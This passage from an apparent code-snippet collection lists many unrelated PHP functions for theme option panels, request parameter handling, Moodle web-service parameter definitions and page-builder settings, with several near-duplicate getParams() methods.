panel\n 'menu_type' => 'menu',\n //Specify if the admin menu should appear or not. Options: menu or submenu (Under appearance only)\n 'allow_sub_menu' => true,\n // Show the sections below the admin menu item or not\n 'menu_title' => __( 'Theme Options', 'slova' ),\n 'page_title' => __( 'Theme Options', 'slova' ),\n // You will need to generate a Google API key to use this feature.\n // Please visit: https://developers.google.com/fonts/docs/developer_api#Auth\n 'google_api_key' => '',\n // Set it you want google fonts to update weekly. A google_api_key value is required.\n 'google_update_weekly' => false,\n // Must be defined to add google fonts to the typography module\n 'async_typography' => true,\n // Use a asynchronous font on the front end or font string\n //'disable_google_fonts_link' => true, // Disable this in case you want to create your own google fonts loader\n 'admin_bar' => true,\n // Show the panel pages on the admin bar\n 'admin_bar_icon' => 'dashicons-portfolio',\n // Choose an icon for the admin bar menu\n 'admin_bar_priority' => 50,\n // Choose an priority for the admin bar menu\n 'global_variable' => '',\n // Set a different name for your global variable other than the opt_name\n 'dev_mode' => false,\n // Show the time the page took to load, etc\n 'update_notice' => false,\n // If dev_mode is enabled, will notify developer of updated versions available in the GitHub Repo\n 'customizer' => true,\n // Enable basic customizer support\n //'open_expanded' => true, // Allow you to start the panel in an expanded way initially.\n //'disable_save_warn' => true, // Disable the save warning when a user changes a field\n\n // OPTIONAL -> Give you extra features\n 'page_priority' => null,\n // Order where the menu appears in the admin area. If there is any conflict, something will not show. Warning.\n 'page_parent' => 'themes.php',\n // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters\n 'page_permissions' => 'manage_options',\n // Permissions needed to access the options panel.\n 'menu_icon' => '',\n // Specify a custom URL to an icon\n 'last_tab' => '',\n // Force your panel to always open to a specific tab (by id)\n 'page_icon' => 'icon-themes',\n // Icon displayed in the admin panel next to your menu_title\n 'page_slug' => '_options',\n // Page slug used to denote the panel\n 'save_defaults' => true,\n // On load save the defaults to DB before user clicks save or not\n 'default_show' => false,\n // If true, shows the default value next to each field that is not the default value.\n 'default_mark' => '',\n // What to print by the field's title if the value shown is default. Suggested: *\n 'show_import_export' => true,\n // Shows the Import/Export panel when not used as a field.\n\n // CAREFUL -> These options are for advanced use only\n 'transient_time' => 60 * MINUTE_IN_SECONDS,\n 'output' => true,\n // Global shut-off for dynamic CSS output by the framework. Will also disable google fonts output\n 'output_tag' => true,\n // Allows dynamic CSS to be generated for customizer and google fonts, but stops the dynamic CSS from going to the head\n // 'footer_credit' => '', // Disable the footer credit of Redux. Please leave if you can help it.\n\n // FUTURE -> Not in use yet, but reserved or partially implemented. Use at your own risk.\n 'database' => '',\n // possible: options, theme_mods, theme_mods_expanded, transient. Not fully functional, warning!\n 'system_info' => false,\n // REMOVE\n\n // HINTS\n 'hints' => array(\n 'icon' => 'icon-question-sign',\n 'icon_position' => 'right',\n 'icon_color' => 'lightgray',\n 'icon_size' => 'normal',\n 'tip_style' => array(\n 'color' => 'light',\n 'shadow' => true,\n 'rounded' => false,\n 'style' => '',\n ),\n 'tip_position' => array(\n 'my' => 'top left',\n 'at' => 'bottom right',\n ),\n 'tip_effect' => array(\n 'show' => array(\n 'effect' => 'slide',\n 'duration' => '500',\n 'event' => 'mouseover',\n ),\n 'hide' => array(\n 'effect' => 'slide',\n 'duration' => '500',\n 'event' => 'click mouseleave',\n ),\n ),\n )\n );\n\t\t\t\t\n // SOCIAL ICONS -> Setup custom links in the footer for quick links in your panel footer icons.\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Visit us on GitHub',\n 'icon' => 'el-icon-github'\n //'img' => '', // You can use icon OR img. IMG needs to be a full URL.\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Like us on Facebook',\n 'icon' => 'el-icon-facebook'\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Follow us on Twitter',\n 'icon' => 'el-icon-twitter'\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Find us on LinkedIn',\n 'icon' => 'el-icon-linkedin'\n );\n }", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "function getParameters() {\n $ar = split(\";\", $GLOBALS[\"pagedata\"][\"module\"]);\n for ($c = 0; $c < sizeof($ar); $c++) {\n $a = split(\"=\", $ar[$c]);\n $this->module_param[$a[0]] = $a[1];\n }\n }", "public function parameters()\n\t{\n\t\treturn [\n\t\t\t'parent_id' => $this->input('parent_id'),\n\t\t\t'title' => $this->input('title'),\n\t\t\t'icon' => $this->input('icon'),\n\t\t\t'description' => $this->input('description'),\n\t\t\t'is_active' => $this->has('is_active')\n\t\t];\n\t}", "public static function student_settings_popup_data_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'teamnumbers' => new external_value(PARAM_INT, 'team numbers int', VALUE_DEFAULT, 10),\n 'teamusernumbers' => new external_value(PARAM_INT, 'team user numbers int', VALUE_DEFAULT, 3),\n 'teamuserallowenddate' => new external_value(PARAM_INT, 'team user allowend date int', VALUE_DEFAULT, null),\n 'teamuserenddate' => new external_value(PARAM_INT, 'team user end date int', VALUE_DEFAULT, null),\n 'teamuserendmonth' => new external_value(PARAM_INT, 'team user end month int', VALUE_DEFAULT, null),\n 'teamuserendyear' => new external_value(PARAM_INT, 'team user end year int', VALUE_DEFAULT, null),\n 'teamuserendhour' => new external_value(PARAM_INT, 'team user end hour int', VALUE_DEFAULT, null),\n 'teamuserendminute' => new external_value(PARAM_INT, 'team user end minute int', VALUE_DEFAULT, null),\n )\n );\n }", "function getParams()\n {\n global $id;\n global $mode;\n global $data_source;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($data_source)) {\n $this->data_source = $data_source;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "public function getParamsListToInject(): array\n {\n return [\n 'sectionTitle',\n 'sectionSubtitle',\n 'tiles'\n ];\n }", "public\tfunction\tpanelSettings() {\n\t\t\t//Load the panel matching the settings slug.\n\t\t\tself::panel('FrozenPlugin-settings');\n\t\t}", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Shortcode', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_shortcode' );\n\n\t\t}", "function set_dashboard_columns() {\n\t// how many panels in dashboard\n\t$num = 2;\n\t$user_id = get_current_user_id();\n\tupdate_user_meta( $user_id, 'screen_layout_dashboard', $num );\n}", "function wp_idolondemand_get_parametric_values($args) {\n\textract($args);\n\techo $before_widget;\n\techo $before_title;?>get_parametric_values<?php echo $after_title;\n\tdisplay_wp_idolondemand_get_parametric_values();\n\techo $after_widget;\n}", "function _add_panels ()\n {\n parent::_add_panels ();\n\n $panel =& $this->panel_at ('folder');\n $panel->rows = 10;\n $panel->columns = 2;\n }", "public static function render_block_html_page_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'selectgroupid' => new external_value(PARAM_RAW, 'selectgroupid text', VALUE_DEFAULT, null),\n )\n );\n }", "function getParams()\n {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "public function initializeArgumentsAndRender() {}", "public function initializeArgumentsAndRender() {}", "private function accessory_params() {\n return [\n 'name' => $this->params['name'],\n 'release_date' => date('Y-m-d', strtotime($this->params['release_date'])),\n 'description' => $this->params['description'],\n 'producer' => $this->params['producer'],\n 'console_id' => $this->params['console_id']\n ];\n }", "public function renderParamJs() {\n $script = '<script type=\"text/javascript\"> if(typeof TAMI.pagedata ==\"undefined\"){TAMI.pagedata={}; } ';\n\n foreach ($this->paramjs as $key => $val) {\n $script = $script . ' TAMI.pagedata.' . $key . '=' . json_encode($val) . '; ';\n }\n\n $script = $script . ' </script>';\n\n return $script;\n }", "public function getViewVars();", "public function getViewVars();", "public function init() {\n //echo CHtml::openTag('div', array('class' => $this->cssClass, 'style' => 'width:'.$this->width.'px;height:'.$this->height.'px;'));\n echo '<div class=\"ax-panel\">';\n if ($this->showHeader)\n $this->renderHeader();\n $wd = $this->width-10;\n if(!empty($this->height)){\n $hg = $this->height-49;\n echo '<div class=\"'.$this->cssBodyClass.'\" style=\"height: '.$hg.'px;overflow-y:auto;\">';\n }\n else\n echo '<div class=\"'.$this->cssBodyClass.'\">';\n //echo '<div style=\"padding: 5px 5px 0px; width: '.$wd.'px; left: 0px; top: 26px; height: '.$hg.'px; overflow:auto;\" class=\"x-panel-body x-panel-body-default-framed x-docked-noborder-top x-docked-noborder-right x-docked-noborder-bottom x-docked-noborder-left\">';\n }", "private function initViewVars()\n {\n $this->viewEngine->vars['loggedUserId'] = $this->model->config->getVar('loggedUserId');\n $this->viewEngine->vars['isUserLogged'] = $this->model->config->getVar('isUserLogged');\n $this->viewEngine->vars['loggedUserRole'] = $this->model->config->getVar('loggedUserRole');\n\n $this->viewEngine->vars['charset'] = $this->model->config->getModuleVar('common', 'charset');\n $this->viewEngine->vars['stylesFolder'] = JAPA_PUBLIC_DIR . 'styles/'.$this->model->config->getModuleVar('common', 'styles_folder');\n $this->viewEngine->vars['scriptsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'scripts_folder');\n $this->viewEngine->vars['imagesFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'images_folder');\n $this->viewEngine->vars['viewsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'views_folder');\n $this->viewEngine->vars['controllersFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'controllers_folder');\n $this->viewEngine->vars['urlBase'] = $this->router->getBase();\n $this->viewEngine->vars['adminWebController'] = $this->model->config->getVar('default_module_application_controller');\n $this->viewEngine->vars['default_lang'] = $this->model->config->getModuleVar('common', 'default_lang');\n }", "abstract function buildShowLayout(): void;", "public function htheme_add_params(){\r\n\r\n\t\t#VC ROW PARAMS\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Padding (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_padding\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t\t\"Top and Bottom\" => \"row_padding_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_padding_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_padding_bottom\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row padding (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Margin (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_margin\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"Top and Bottom\" => \"row_margin_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_margin_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_margin_bottom\",\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row margin (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t}", "public function _config_para_view() {\n $this->controller->set('ControleAcessoConfig', $this->config);\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public function getParams()\r\n {\r\n \tglobal $mainframe;\r\n \t\r\n \t$params =& JComponentHelper::getParams('com_jresearch');\r\n $jinput = JFactory::getApplication()->input; \r\n \t$itemid = $jinput->getInt('Itemid', 0);\r\n \t\r\n \tif($itemid != 0 && !$mainframe->isAdmin())\r\n \t{\r\n \t\t$menu = JSite::getMenu();\r\n \t\t$mparams = $menu->getParams($itemid);\r\n \t\t\r\n \t\t$params->merge($mparams);\r\n \t}\r\n \t\r\n \treturn $params;\r\n }", "public function drawStartOptionsPanel()\r\n {\r\n echo '\r\n <div class=\"panel-body\">\r\n <ul class=\"list-group\">';\r\n }", "public static function settings_to_params() {\n\t\t\treturn [\n\t\t\t\t'full_width_border_color' => 'border_color',\n\t\t\t\t'full_width_border_size' => 'border_size',\n\t\t\t\t'full_width_bg_color' => 'background_color',\n\t\t\t\t'full_width_gradient_start_color' => 'gradient_start_color',\n\t\t\t\t'full_width_gradient_end_color' => 'gradient_end_color',\n\t\t\t\t'link_color' => 'link_color',\n\t\t\t\t'link_hover_color' => 'primary_color',\n\t\t\t];\n\t\t}", "protected function assignDefaults() {\n\t\t$this->view->assignMultiple(\n\t\t\tarray(\n\t\t\t\t'timestamp'\t\t\t=> time(),\n\t\t\t\t'submission_date'\t=> date('d.m.Y H:i:s', time()),\n\t\t\t\t'randomId'\t\t\t=> Tx_Formhandler_Globals::$randomID,\n\t\t\t\t'fieldNamePrefix'\t=> Tx_Formhandler_Globals::$formValuesPrefix,\n\t\t\t\t'ip'\t\t\t\t=> t3lib_div::getIndpEnv('REMOTE_ADDR'),\n\t\t\t\t'pid'\t\t\t\t=> $GLOBALS['TSFE']->id,\n\t\t\t\t'currentStep'\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('currentStep'),\n\t\t\t\t'totalSteps'\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('totalSteps'),\n\t\t\t\t'lastStep'\t\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('lastStep'),\n\t\t\t\t// f:url(absolute:1) does not work correct :(\n\t\t\t\t'baseUrl'\t\t\t=> t3lib_div::locationHeaderUrl('')\n\t\t\t)\n\t\t);\n\t\t\n\t\tif ($this->gp['generated_authCode']) {\n\t\t\t$this->view->assign('authCode', $this->gp['generated_authCode']);\n\t\t}\n\t\t\n\t\t/*\n\t\tStepbar currently removed - probably this should move in a partial\n\t\t$markers['###step_bar###'] = $this->createStepBar(\n\t\t\tTx_FormhandlerFluid_Session::get('currentStep'),\n\t\t\tTx_FormhandlerFluid_Session::get('totalSteps'),\n\t\t\t$prevName,\n\t\t\t$nextName\n\t\t);\n\t\t*/\n\t\t\n\t\t/*\n\t\tNot yet realized\n\t\t$this->fillCaptchaMarkers($markers);\n\t\t$this->fillFEUserMarkers($markers);\n\t\t$this->fillFileMarkers($markers);\n\t\t*/\n\t}", "public function getParams($offset=0)\n {\n if($offset == 0)\n {\n return array_merge(\n array(\n $this->getGetParam('layout', 'toplevel')\n ),\n parent::getParams()\n );\n }\n\n\n return array_slice($this->params, $offset-1);\n }", "public function panel_config( $panel ) {\n\t\tinclude $this->dir_path . 'panel-config.php';\n\n\t\treturn $panel;\n\t}", "public static function data_for_competencies_manage_page_parameters() {\n $competencyframeworkid = new external_value(\n PARAM_INT,\n 'The competency framework id',\n VALUE_REQUIRED\n );\n $search = new external_value(\n PARAM_RAW,\n 'A search string',\n VALUE_DEFAULT,\n ''\n );\n $params = array(\n 'competencyframeworkid' => $competencyframeworkid,\n 'search' => $search\n );\n return new external_function_parameters($params);\n }", "public function get_embed_params() {\n $settings = $this->get_settings_for_display();\n\n $params = [];\n\n if ( $settings['autoplay'] && ! $this->has_image_overlay() ) {\n $params['autoplay'] = '1';\n }\n\n $params_dictionary = [];\n\n\n foreach ( $params_dictionary as $key => $param_name ) {\n $setting_name = $param_name;\n\n if ( is_string( $key ) ) {\n $setting_name = $key;\n }\n\n $setting_value = $settings[ $setting_name ] ? '1' : '0';\n\n $params[ $param_name ] = $setting_value;\n }\n\n return $params;\n }", "public function getPanel()\n {\n $html = '';\n foreach ($this->_count as $count) {\n $html .= $count['name']. ' - '.$count['total'].' ('.$count['users'].')'.'<br/>';\n }\n \n $body = Zend_Controller_Front::getInstance()->getResponse()->getBody();\n $panel = '<h4>К-во пользователей онлайн:</h4>'.$html;\n return $panel;\n }", "private function getShowParameters()\n {\n $showingAll = false;\n $start = -100;\n $count = -1;\n\n if ($this->getRequest()->query->has('all')) {\n $start = 0;\n $count = -1;\n $showingAll = true;\n }\n\n return array($start, $count, $showingAll);\n }", "public function render() {\n return [\n 'command' => 'slideCommand',\n 'action' => $this->action,\n 'bo_view_dom_id' => $this->bo_view_dom_id,\n 'entity_id' => $this->entity_id,\n ];\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "protected function exportClipElementParameters() {}", "protected function populateParams()\n\t{\n\n\t\tparent::populateParams();\n\t\t//$acl = ZefaniabibleHelper::getAcl();\n\t\t$mdl_acl = new ZefaniabibleHelper;\n\t\t$acl = $mdl_acl->getAcl();\n\t\tif (!isset($this->_data))\n\t\t\treturn;\n\n\t\t// Convert the parameter fields into objects.\n\t\tforeach ($this->_data as &$item)\n\t\t{\n\n\t\t\tif ($acl->get('core.edit.state')\n\t\t\t\t|| (bool)$item->publish)\n\t\t\t\t$item->params->set('access-view', true);\n\n\t\t\tif ($acl->get('core.edit'))\n\t\t\t\t$item->params->set('access-edit', true);\n\n\t\t\tif ($acl->get('core.delete'))\n\t\t\t\t$item->params->set('access-delete', true);\n\n\n\t\t}\n\n\t}", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $data_source;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($data_source)) {\r\n $this->data_source=$data_source;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "function siteorigin_panels_get_current_admin_panels_data(){\n\t$screen = get_current_screen();\n\n\tglobal $post;\n\t$panels_data = get_post_meta( $post->ID, 'panels_data', true );\n\t$panels_data = apply_filters( 'siteorigin_panels_data', $panels_data, $post->ID );\n\n\tif ( empty( $panels_data ) ) $panels_data = array();\n\n\treturn $panels_data;\n}", "public function SetPanelSettings()\n\t{\n\t\tif(gzte11(ISC_LARGEPRINT) && GetConfig('EnableGiftCertificates') != 0) {\n\t\t\t$GLOBALS['SNIPPETS']['TopMenuGiftCertificates'] = $GLOBALS['ISC_CLASS_TEMPLATE']->GetSnippet(\"TopMenuGiftCertificates\");\n\t\t}\n\t\t// Show the login/logout link as required\n\n\t\t$GLOBALS['HideLogoutLink'] = 'display: none';\n\t\t\n\t\tif(!isset($GLOBALS['LoginOrLogoutText'])) {\n\n\t\t\tif(CustomerIsSignedIn()) {\n\t\t\t\t$usuarioLogado = true;\n\t\t\t\t// If they're a customer, set their name so it's available in the templates\n\t\t\t\t$c = GetClass('ISC_CUSTOMER');\n\t\t\t\t$customerData = $c->GetCustomerDataByToken();\n\t\t\t\t$GLOBALS['CurrentCustomerFirstName'] = isc_html_escape(ucwords(strtolower($customerData['custconfirstname'])));\n\t\t\t\t$GLOBALS['CurrentCustomerLastName'] = isc_html_escape(ucwords(strtolower($customerData['custconlastname'])));\n\t\t\t\t$GLOBALS['CurrentCustomerEmail'] = isc_html_escape(strtolower($customerData['custconemail']));\n\n\t\t\t\t$GLOBALS['LoginOrLogoutLink'] = \"login.php?action=logout\";\n\t\t\t\t//$GLOBALS['LoginOrLogoutText'] = sprintf(GetLang('LogoutLink'), $GLOBALS['ShopPathNormal']);\n\t\t\t\t$GLOBALS['LoginOrLogoutText'] = 'Ol&aacute; <b>'.$GLOBALS['CurrentCustomerFirstName'].'!</b> </a>\n\t\t\t\t\t\t ( <a href=\"'.$GLOBALS['ShopPathNormal'].'/account.php\">Meus Dados</a>\n\t\t\t\t\t\t <a href=\"'.$GLOBALS['ShopPathNormal'].'/account.php?action=order_status\">Meus Pedidos</a>\n\t\t\t\t\t\t <a href=\"'.$GLOBALS['ShopPathNormal'].'/login.php?action=logout\">Sair</a> )';\n\t\t\t\t\n\t\t\t\t$GLOBALS['HideLogoutLink'] = '';\n\t\t\t}else{\n\t\t\t\t$usuarioLogado = false;\n\t\t\t\t$loginLinkFunction = '';\n\t\t\t\t$createAccountLinkFunction = '';\n\t\t\t\t$GLOBALS['OptimizerLinkScript'] = $this -> insertOptimizerLinkScript();\n\t\t\t\tif($GLOBALS['OptimizerLinkScript'] != '') {\n\t\t\t\t\t$loginLinkFunction = \"gwoTracker._link(\\\"\".$GLOBALS['ShopPathSSL'].\"/login.php?tk=\".session_id().\"\\\"); return false;\";\n\t\t\t\t\t$createAccountLinkFunction = \"gwoTracker._link(\\\"\".$GLOBALS['ShopPathSSL'].\"/login.php?action=create_account&tk=\".session_id().\"\\\"); return false;\";\n\n\t\t\t\t}\n\t\t\t\t// If they're a guest, set their name to 'Guest'\n\t\t\t\t$GLOBALS['CurrentCustomerFirstName'] = GetLang('Guest');\n\t\t\t\t$GLOBALS['CurrentCustomerLastName'] = $GLOBALS['CurrentCustomerEmail'] = '';\n\n\t\t\t\t$GLOBALS['LoginOrLogoutLink'] = \"login.php\";\n\t\t\t\t$GLOBALS['LoginOrLogoutText'] = sprintf(GetLang('SignInOrCreateAccount'), $GLOBALS['ShopPath'], $loginLinkFunction, $GLOBALS['ShopPath'], $createAccountLinkFunction);\n\t\t\t}\n\t\t}else{\n\t\t\t$usuarioLogado = false;\n\t\t}\n\t\t\n\t\t/* EDAZCOMMERCE - CRIAR OS CAMPOS DE LOGIN NO HEADER POR AQUI, PARA NÃO ENTRAR EM CONFLITO COM O LOGIN DO CHECKOUT */\n\t\t$GLOBALS['FieldsLoginHeader'] = '<input type=\"text\" class=\"InputTexto InitialFocus\" name=\"login_email\" id=\"login_email\" size=\"35\" />\n\t\t\t\t\t\t<input type=\"password\" class=\"InputTexto\" name=\"login_pass\" id=\"login_pass\" />\n\t\t\t\t\t\t<input type=\"submit\" id=\"id=\"LoginButton\"\" value=\"Entrar\" />';\n\t\t\n\t\t/* EDAZCOMMERCE - USUÁRIO DESLOGADO DO SISTEMA */\n\t\t$GLOBALS['UsuarioLogado'] = $usuarioLogado;\n\t\tif($usuarioLogado){\n\t\t\t$GLOBALS['DisplayLoginHome'] \t\t= \"displayNone\";\n\t\t\t$GLOBALS['ClassWelcomeMessageUser'] = \"width600\";\n\t\t}else{\n\t\t\t/* DESABILITA OS CAMPOS PARA LOGIN NO HEADER QUANDO ESTIVER NO CHECKOUT */\n\t\t\tif(!isset($GLOBALS['PanelLoginJavaScript']) || (isset($GLOBALS['PanelLoginJavaScript']) && $GLOBALS['PanelLoginJavaScript'] != 'desabilitadoCheckout')){\n\t\t\t\t$GLOBALS['PanelLoginJavaScript'] = \"%%Panel.LoginJavaScript%%\";\n\t\t\t}\n\t\t}\n\t\tif($GLOBALS['PanelLoginJavaScript'] == 'desabilitadoCheckout'){\n\t\t\t$GLOBALS['FieldsLoginHeader']\t = \"\";\n\t\t\t$GLOBALS['PanelLoginJavaScript'] = \"\";\n\t\t}\n\n\t\t// Display our currency flags. Has been disabled for the time being. Theory being that this will include the whole locale (text aswell)\n\t\t$GLOBALS['CurrencyFlags'] = \"\";\n\t}", "public static function data_for_plans_page_parameters() {\n $userid = new external_value(\n PARAM_INT,\n 'The user id',\n VALUE_REQUIRED\n );\n $params = array('userid' => $userid);\n return new external_function_parameters($params);\n }", "function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }", "abstract public function getPanelName();", "public function getPanel()\n {\n \t$this->_timer['postDispatch'] = isset($this->_timer['postDispatch']) ? \n \t\t$this->_timer['postDispatch'] : '';\n \t$this->_timer['preDispatch'] = isset($this->_timer['preDispatch']) ? \n \t\t$this->_timer['preDispatch'] : '';\n \t\t\n \treturn parent::getPanel();\n }", "private function setParams()\n\t\t{\n\t\t\t/**\n\t\t\t* Remove do $this->_separetor os dois primeiros valores\n\t\t\t* referentes ao controller e action, deixando os demais 